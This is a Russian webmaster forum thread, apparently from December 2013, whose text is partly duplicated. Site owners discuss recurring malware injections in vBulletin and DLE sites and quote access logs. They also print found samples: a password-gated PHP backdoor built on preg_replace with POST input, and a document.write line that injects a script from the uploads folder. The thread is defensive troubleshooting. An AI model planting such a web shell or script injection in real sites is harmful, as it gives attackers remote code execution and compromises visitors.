Greatbolt: Но почистить скачанную на комп папку, зная кусок вредоносного кода тоже вполне можно, используя для поиска зараженных файлов notepad++.
Да все можно. Можно каждый лень выкачивать десятки гигов файлов форума на комп и перелопачивать. Но смысл ведь в чем. Что бы закрыть вообще лазейку, а не искать варианты, каким образом вычищать, какую версию форума использовать и какие моды на него ставить.
netwind, простите, а Вы тоже из "пострадавших" от этой напасти?
netwind: Не понял этого вашего пассажа. Родные файлы vbulletin вы всегда можете скачать с сайта разработчика.
Речь в теме идет не только о вбуллетине, здесь уже отписывались о подобном на вордпрессе, джумле, ДЛЕ. Вот об этом и пассаж. И да. Если стоит "голый" форум то да, никаких проблем заново перезалить, а если люди ставят еще моды разные, представляете, как для них взять и перезалить файлики? :)
Bener: В общем через спец.сервисы для декодирования скриптов расшифровал код вирусного js, вот так код выглядит в отформатированном виде:
И что выяснили, рассматривая этот код? ;)
---------- Добавлено 17.12.2013 в 15:58 ----------
Bener: netwind, кто что написал? Где? Как например зачистить вирус на ВБуллетин? Переустанавливать движок? Какой в этом смысл, если я вижу что все файлы и так родные и следов пребывания вируса в скриптах стиля тоже нет. Что и где зачищать-то?) И ещё Вы видели, чтобы тут кто-нибудь отписал что решил эту проблему? По-моему люди как раз пишут, что вирус продолжает грузить вредоносные файлы.
А сегодня, например, файлы были вообще не с текущей датой изменения, а с старой... Так что, не факт, что файл родной будет. И самое главное - не зачищать надо (все равно бесполезно), а искать источник появления и закрывать его. Иначе будем так зачищать каждый день до посинения. :)
В общем, вчера удалил это все, сегодня снова на месте: в uploads/posts в разных папках сидели conn.js и rusty.swf, а также в engine/classes/js/ в этот раз дописка в jqueryui.js ... :) Может еще где-что есть, пока не знаю.
Bener: Поискал эту инфу в инете, ничего толкового не нашёл. Предлагаю тогда на все папки сайта выставить запрет на запись. Другого решения на данный момент не вижу. Жаль, что опытные вебмастера не оказывают поддержку в решении проблемы. Надо обратиться на другие форумы.
А картинки к новостям как будут заливаться потом в uploads ?
Bener: Может кто знает как в хтакцесс прописать запрет на загрузку файлов определённого разрешения? Чтобы хотя бы остановить вирусню, пока не иниициируем проблему.
---------- Добавлено 16.12.2013 в 21:58 ----------
*определённого расширения, хотел сказать)
Да, хотя бы так временно прикрыть от загрузки явы и флэша.
Bener: ProLiant, это да, заразе походу всё равно какой двиг - ДЛЕ, Друпал, Джомла... А у меня, забыл сказать, вообще ВБуллетин. Так что Булку тоже допишите в этот список. У Вас какой хостинг, если не секрет? Я на джино с недавних пор переехал, экономлю)
Пока вариант один, что врядли это дыры именно двига, т.к. мы уже видим здесь 3 популярные цмс, в которые внедряется эта гадость по одному и тому же сценарию.
П.с. Посмотрел только что логи по этому айпи - с него у меня и форум на вбуллетине долбит... Только пока еще не нашел, что и где он и там оставил. В файле, к которому там обращался прописано только это:
<?php if (md5($_POST['p']) == '768f9a3926cc869d7d3c9e10e68ae97a') { preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']); }
И на сайте ДЛЕ 10 новая вставка, теперь в в engine/classes/js/dle_js.js такое:
Но почистить скачанную на комп папку, зная кусок вредоносного кода тоже вполне можно, используя для поиска зараженных файлов notepad++.
Да все можно. Можно каждый лень выкачивать десятки гигов файлов форума на комп и перелопачивать. Но смысл ведь в чем. Что бы закрыть вообще лазейку, а не искать варианты, каким образом вычищать, какую версию форума использовать и какие моды на него ставить.
netwind, простите, а Вы тоже из "пострадавших" от этой напасти?
Не понял этого вашего пассажа. Родные файлы vbulletin вы всегда можете скачать с сайта разработчика.
Речь в теме идет не только о вбуллетине, здесь уже отписывались о подобном на вордпрессе, джумле, ДЛЕ. Вот об этом и пассаж. И да. Если стоит "голый" форум то да, никаких проблем заново перезалить, а если люди ставят еще моды разные, представляете, как для них взять и перезалить файлики? :)
forum.searchengines.ru — активно обсуждается
Так, подумалось что-то про активность. ;)
В общем через спец.сервисы для декодирования скриптов расшифровал код вирусного js, вот так код выглядит в отформатированном виде:
И что выяснили, рассматривая этот код? ;)
---------- Добавлено 17.12.2013 в 15:58 ----------
netwind, кто что написал? Где? Как например зачистить вирус на ВБуллетин? Переустанавливать движок? Какой в этом смысл, если я вижу что все файлы и так родные и следов пребывания вируса в скриптах стиля тоже нет. Что и где зачищать-то?) И ещё Вы видели, чтобы тут кто-нибудь отписал что решил эту проблему? По-моему люди как раз пишут, что вирус продолжает грузить вредоносные файлы.
А сегодня, например, файлы были вообще не с текущей датой изменения, а с старой... Так что, не факт, что файл родной будет. И самое главное - не зачищать надо (все равно бесполезно), а искать источник появления и закрывать его. Иначе будем так зачищать каждый день до посинения. :)
В общем, вчера удалил это все, сегодня снова на месте: в uploads/posts в разных папках сидели conn.js и rusty.swf, а также в engine/classes/js/ в этот раз дописка в jqueryui.js ... :) Может еще где-что есть, пока не знаю.
Поискал эту инфу в инете, ничего толкового не нашёл. Предлагаю тогда на все папки сайта выставить запрет на запись. Другого решения на данный момент не вижу. Жаль, что опытные вебмастера не оказывают поддержку в решении проблемы. Надо обратиться на другие форумы.
А картинки к новостям как будут заливаться потом в uploads ?
Может кто знает как в хтакцесс прописать запрет на загрузку файлов определённого разрешения? Чтобы хотя бы остановить вирусню, пока не иниициируем проблему.
---------- Добавлено 16.12.2013 в 21:58 ----------
*определённого расширения, хотел сказать)
Да, хотя бы так временно прикрыть от загрузки явы и флэша.
Мысли тужатся в голове.. :) Замучался уже выковыривать постоянно все с фтп. :)
ProLiant, это да, заразе походу всё равно какой двиг - ДЛЕ, Друпал, Джомла... А у меня, забыл сказать, вообще ВБуллетин. Так что Булку тоже допишите в этот список.
У Вас какой хостинг, если не секрет? Я на джино с недавних пор переехал, экономлю)
Я уже упомянул о булке. :)
Ну вот, например:
212.124.113.110 - - [15/Dec/2013:00:24:11 +0300] "GET /uploads/posts/2010-01/krisha.swf HTTP/1.0" 200 301 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3"
212.124.113.110 - - [15/Dec/2013:03:17:20 +0300] "GET /uploads/posts/2012-01/bigcat.swf HTTP/1.0" 200 301 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3"
212.124.113.110 - - [15/Dec/2013:05:37:36 +0300] "GET /uploads/posts/2012-06/qqqqq.swf HTTP/1.0" 200 301 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3"
Но этих swf-в нет уже в тех папках. Возможно, сам потом и удаляет за собой?
Или еще с этого IP такое:
212.124.113.110 - - [15/Dec/2013:05:58:00 +0300] "GET /forum/css.php?userid=88403&cssuid=0&d=1386720000&td=ltr&styleid=0&sheet=userprofile.css HTTP/1.0" 200 2175 "-" "Zend_Http_Client"
212.124.113.110 - - [15/Dec/2013:05:58:39 +0300] "GET /forum/showthread.php?t=1251&page=19& HTTP/1.0" 200 27744 "-" "Zend_Http_Client"
Что это и что ОНО делает?
Пока вариант один, что врядли это дыры именно двига, т.к. мы уже видим здесь 3 популярные цмс, в которые внедряется эта гадость по одному и тому же сценарию.
П.с. Посмотрел только что логи по этому айпи - с него у меня и форум на вбуллетине долбит... Только пока еще не нашел, что и где он и там оставил. В файле, к которому там обращался прописано только это:
if (md5($_POST['p']) == '768f9a3926cc869d7d3c9e10e68ae97a') {
preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']);
}
И на сайте ДЛЕ 10 новая вставка, теперь в в engine/classes/js/dle_js.js такое:
;document.write("<scr"+"ipt src='/uploads/posts/2009-11/cloclo.js'><"+"/script>");
Ну и соответственно сам cloclo.js с содержимым: